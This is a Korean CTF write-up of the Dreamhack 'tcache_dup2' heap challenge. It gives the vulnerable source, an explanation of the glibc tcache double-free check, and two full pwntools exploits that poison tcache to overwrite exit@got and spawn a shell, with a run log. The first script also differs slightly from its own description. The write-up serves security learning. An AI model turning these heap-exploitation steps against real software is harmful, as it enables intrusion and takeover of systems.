[dreamhack] tcache_dup2 writeup

1. 문제

thumbnail
tcache_dup2

이 문제는 작동하고 있는 서비스(tcache_dup2)의 바이너리와 소스코드가 주어집니다.
취약점을 익스플로잇해 셸을 획득한 후, 'flag' 파일을 읽으세요.
'flag' 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{...} 입니다.

https://dreamhack.io/wargame/challenges/67

2. 풀이

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

char *ptr[7];

void create_heap(int idx) {
    size_t size;

    if (idx >= 7)
        exit(0);

    printf("Size: ");
    scanf("%ld", &size);

    ptr[idx] = malloc(size);

    if (!ptr[idx])
        exit(0);

    printf("Data: ");
    read(0, ptr[idx], size-1);
}

void modify_heap() {
    size_t size, idx;

    printf("idx: ");
    scanf("%ld", &idx);

    if (idx >= 7)
        exit(0);

    printf("Size: ");
    scanf("%ld", &size);

    if (size > 0x10)
        exit(0);

    printf("Data: ");
    read(0, ptr[idx], size);
}

void delete_heap() {
    size_t idx;

    printf("idx: ");
    scanf("%ld", &idx);
    if (idx >= 7)
        exit(0);

    if (!ptr[idx])
        exit(0);

    free(ptr[idx]);
}

void get_shell() {
    system("/bin/sh");
}
int main() {
    int idx;
    int i = 0;

    initialize();

    while (1) {
        printf("1. Create heap\n");
        printf("2. Modify heap\n");
        printf("3. Delete heap\n");
        printf("> ");

        scanf("%d", &idx);

        switch (idx) {
            case 1:
                create_heap(i);
                i++;
                break;
            case 2:
                modify_heap();
                break;
            case 3:
                delete_heap();
                break;
            default:
                break;
        }
    }
}
  • case 1: create함수를 통해 sizedata를 입력받아서 메모리를 할당
  • case 2: modify함수를 통해 sizedata를 입력받아서 메모리의 데이터를 수정
  • case 3: delete함수를 통해 idx를 입력받아서 해당 메모리를 free

libc 2.30 버전을 사용하여 tcache에 대한 double free 검사를 수행한다!

다만, modify_heap함수가 있기 때문에 free 이후에도 건드릴 수 있는 use after free 취약점이 존재하는 것을 이용할 수 있겠다.


2.1. glibc 2.29 - 2.31의 tcache 구조체 변경

초기버전 (glibc 2.27 - 2.28)의 tcachedouble free를 막지않았고, 이에 따라 바로 전의 double free 공격이 가능했다. tcache는 크기별로 아래와 같이 단순 연결 리스트를 유지했다.

typedef struct tcache_entry {
    struct tcache_entry* next;
} tcache_entry;

그러나 2.29 - 2.31 버전은 아래와 같이 구조체가 변경되었다.

typedef struct tcache_entry {
	struct tcache_entry *next;
	/* This field exists to detect double frees.  */
	struct tcache_perthread_struct *key;
} tcache_entry;

key라는 값이 존재하면서 double free를 막게 된다. 이 값은 bk 영역에 존재하여 free를 통해 해제된 청크는 tcache 주소를 갖는다. 그리고 만약 같은 청크를 다시 한번 해제하려고 하면 이 값이 tcache인지 확인해서 double free를 막는다. 따라서 이 값이 더 이상 tcache가 아니도록 변조하면 double free가 가능하다.

2.2. tcache dup 시나리오 1

  • ⁣1. create함수 실행 : 청크를 두개 할당 (chunk 1 and 2)
  • ⁣2. delete함수 실행 : 할당한 청크 두개를 모두 free
  • ⁣3. modify함수 실행 : chunk 2의 key값을 modify함수를 통해 변조
    • 이를 통해 key값이 더 이상 tcache 주소가 아니게되고, 한번더 free가 가능해짐
  • ⁣4. delete함수 실행 : chunk 2를 다시 한번 free
  • ⁣5. create함수 실행 : chunk 2를 재할당 하고 fd값을 exit@got값으로 변조
    • 이를 통해 처음 free한 chunk 2의 fdexit@got가 되어 그 다음 청크를 할당시 exit@got의 주소가 할당됨
  • ⁣6. create함수 실행 : fd가 변조된 chunk 2를 재할당
  • ⁣7. create함수 실행 : fd에 변조된 대로 exit@got 주소가 재할당

따라서 전체 흐름은 아래와 같다. (Thanks to GPT)

[ 초기 상태 ]
  tcache[0x40] = NULL

[ delete(0), delete(1) ]
  tcache[0x40] = chunk_1 → chunk_0 → NULL
  (이때 chunk_1의 bk == tcache)

[ modify() 1 → bk = exit@got ]
  chunk_1.fd = 'aaaaaaaa'
  chunk_1.bk = 'a'
  tcache[0x40] = chunk_1 → chunk_0 → NULL

[ delete(1) ]
  tcache[0x40] = chunk_1 → chunk_1 → chunk_0 → NULL

[ malloc() 1 ]
  리턴: chunk_1
  chunk1.fd = 'exit@got'
  tcache[0x40] = chunk_1 → exit@got → NULL

[ malloc() 2 ]
  리턴: chunk_1
  tcache[0x40] = exit@got → NULL

[ malloc() 3 ]
  리턴: exit@got ← 우리가 조작한 주소
  이곳에 get_shell 주소 덮음!

그러면 최종 exploit은 아래와 같다.

from pwn import *

#p = process("./tcache_dup2")
p = remote("host3.dreamhack.games", 17129)
elf = ELF("./tcache_dup2")

# 1. malloc chunk 1 and 2
p.sendlineafter(b"> ", b"1")
p.sendlineafter(b"Size: ", b"48")
p.sendafter(b"Data: ", b"aaaa")

p.sendlineafter(b"> ", b"1")
p.sendlineafter(b"Size: ", b"48")
p.sendafter(b"Data: ", b"bbbb")

# 2. free chunk 1 and 2
p.sendlineafter(b"> ", b"3")
p.sendlineafter(b"idx: ", b"0")

p.sendlineafter(b"> ", b"3")
p.sendlineafter(b"idx: ", b"1")

# 3. modify freed chunk 2 (we can access even after free), modify "key" value in the tcache struct
p.sendlineafter(b"> ", b"2")
p.sendlineafter(b"idx: ", b"1")
p.sendlineafter(b"Size: ", b"16")
p.sendafter(b"Data: ", b"a" * 9)

# 4. double free chunk 2 again (this can be done as we modify "key" value to bypass double free check)
p.sendlineafter(b"> ", b"3")
p.sendlineafter(b"idx: ", b"1")

# 5. re-malloc chunk and malloc new chunk that has exit@got address
p.sendlineafter(b"> ", b"1")
p.sendlineafter(b"Size: ", b"48")
p.sendafter(b"Data: ", p64(elf.symbols["exit"]))

p.sendlineafter(b"> ", b"1")
p.sendlineafter(b"Size: ", b"48")
p.sendafter(b"Data: ", b"aaaa")

p.sendlineafter(b"> ", b"1")
p.sendlineafter(b"Size: ", b"48")
p.sendafter(b"Data: ", p64(elf.symbols["get_shell"]))

# 5. execute "exit()" by using "delete_heap"
p.sendlineafter(b"> ", b"3")
p.sendlineafter(b"idx: ", b"10")

p.interactive()
ubuntu@instance-20250406-1126:~/dreamhack/level2/tcache_dup2$ python3 e_tcache_dup2.py 
[+] Starting local process './tcache_dup2': pid 2547841
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level2/tcache_dup2/tcache_dup2'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x3fe000)
    RUNPATH:    b'.'
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
[*] Switching to interactive mode
$ id
uid=1001(ubuntu) gid=1001(ubuntu) groups=1001(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),105(lxd),114(docker)

2.3. tcache dup 시나리오 2

위의 시나리오 1을 아마 의도했을 것 같은데, 나는 key (bk)를 변조하지 않고 이전의 tcache_dup이랑 비슷하게 fd 값만 변조하는 방식으로 해결했다. 말그대로 use after free 취약점만 사용한 것.

그래서 전체 흐름은 아래와 같았다.

  • ⁣1. 청크 2개를 할당 (chunk 1 and 2)
  • ⁣2. 할당한 청크 2개를 free (chunk 1 먼저, 그다음 chunk 2)
  • ⁣3. 마지막으로 free한 chunk 2의 fdexit@got로 변조
  • ⁣4. 연속으로 2개의 청크를 할당하고 두번째 청크에는 get_shell의 주소를 입력
  • ⁣5. exit함수를 실행

이렇게 해도 사실 흐름은 위에 시나리오 1과 거의 똑같다.

exploit은 아래와 같다.

from pwn import *

#p = process("./tcache_dup2")
p = remote("host3.dreamhack.games", 17129)
elf = ELF("./tcache_dup2")

# 1. malloc chunk
p.sendlineafter(b"> ", b"1")
p.sendlineafter(b"Size: ", b"48")
p.sendafter(b"Data: ", b"aaaa")

p.sendlineafter(b"> ", b"1")
p.sendlineafter(b"Size: ", b"48")
p.sendafter(b"Data: ", b"bbbb")

# 2. free chunk
p.sendlineafter(b"> ", b"3")
p.sendlineafter(b"idx: ", b"0")

p.sendlineafter(b"> ", b"3")
p.sendlineafter(b"idx: ", b"1")

# 3. modify freed chunk (we can access even after free), with exit@got
p.sendlineafter(b"> ", b"2")
p.sendlineafter(b"idx: ", b"1")
p.sendlineafter(b"Size: ", b"8")
p.sendafter(b"Data: ", p64(elf.got["exit"]))

# 4. re-malloc chunk and malloc new chunk that has exit@got address
p.sendlineafter(b"> ", b"1")
p.sendlineafter(b"Size: ", b"48")
p.sendafter(b"Data: ", b"aaaa")

p.sendlineafter(b"> ", b"1")
p.sendlineafter(b"Size: ", b"48")
p.sendafter(b"Data: ", p64(elf.symbols["get_shell"]))

# 5. execute "exit()" by using "delete_heap"
p.sendlineafter(b"> ", b"3")
p.sendlineafter(b"idx: ", b"10")

p.interactive()

2.4. tcache->counts의 중요성

작성한 exploit을 보면 청크 하나만 할당 및 해제해서 사용하는 것이 아니라 2개를 할당하고 해제해서 2번째 청크만 가지고 활용한다. 사실 하나만 사용해도 될텐데라는 생각으로 했다가 tcache->counts를 알게되어 작성한다.

문제환경인 glibc 2.30에서는 tcache에 존재하는 청크의 개수를 갖고있는 tcache->counts가 존재한다. 이게 0일 경우에는 tcache에서 청크를 반환하지 않는다!

__libc_malloc의 흐름을 보면 아래와 같다.

  • ⁣1. __libc_malloc 실행, __malloc_hook 변수를 확인해서 NULL이 아니면 hook 실행
  • ⁣2. tcache를 확인해서 비어있으면 MAYBE_INIT_TCACHE 실행
    • 이 함수 안에서 tcache_init 실행, _int_malloc을 실행
  • ⁣3. _int_malloc함수는 tcache_perthread_struct 청크를 할당받음
  • ⁣4. 만약 요청된 크기에 해당하는 tcache 청크가 존재하면, 즉 tcache->counts[tc_idx] > 0이면 tcache_get을 통해서 재할당
  • ⁣5. 재할당할 청크가 tcache에 없다면, 즉 tcache->counts[tc_idx] == 0이면 다시 _int_malloc함수가 실행됨
  • ⁣6. _int_malloc함수는 fastbin, unsorted_bin, small bin을 확인해서 재할당 가능한 청크가 있다면 재할당을 수행

그리고 청크가 tcache에 추가 및 제거될 때마다 tcache->counts[tc_idx]가 1씩 증가 및 감소하게된다. 따라서 청크를 하나만 할당한 후 double free를 하게되면 이 값이 -1이 되므로 이후에 재할당하게되면 tcache에 있는 청크가 아닌 다른 청크가 할당되어 got overwrite가 실패할 것이다.

즉, free 시에 tcache->counts[tc_idx]은 증가하고, malloc시에는 감소한다. 그리고 exploit 마지막에서 3번 malloc이 예정되어 있기 때문에 이전에 free가 최소한 3번은 일어나야한다.


해결~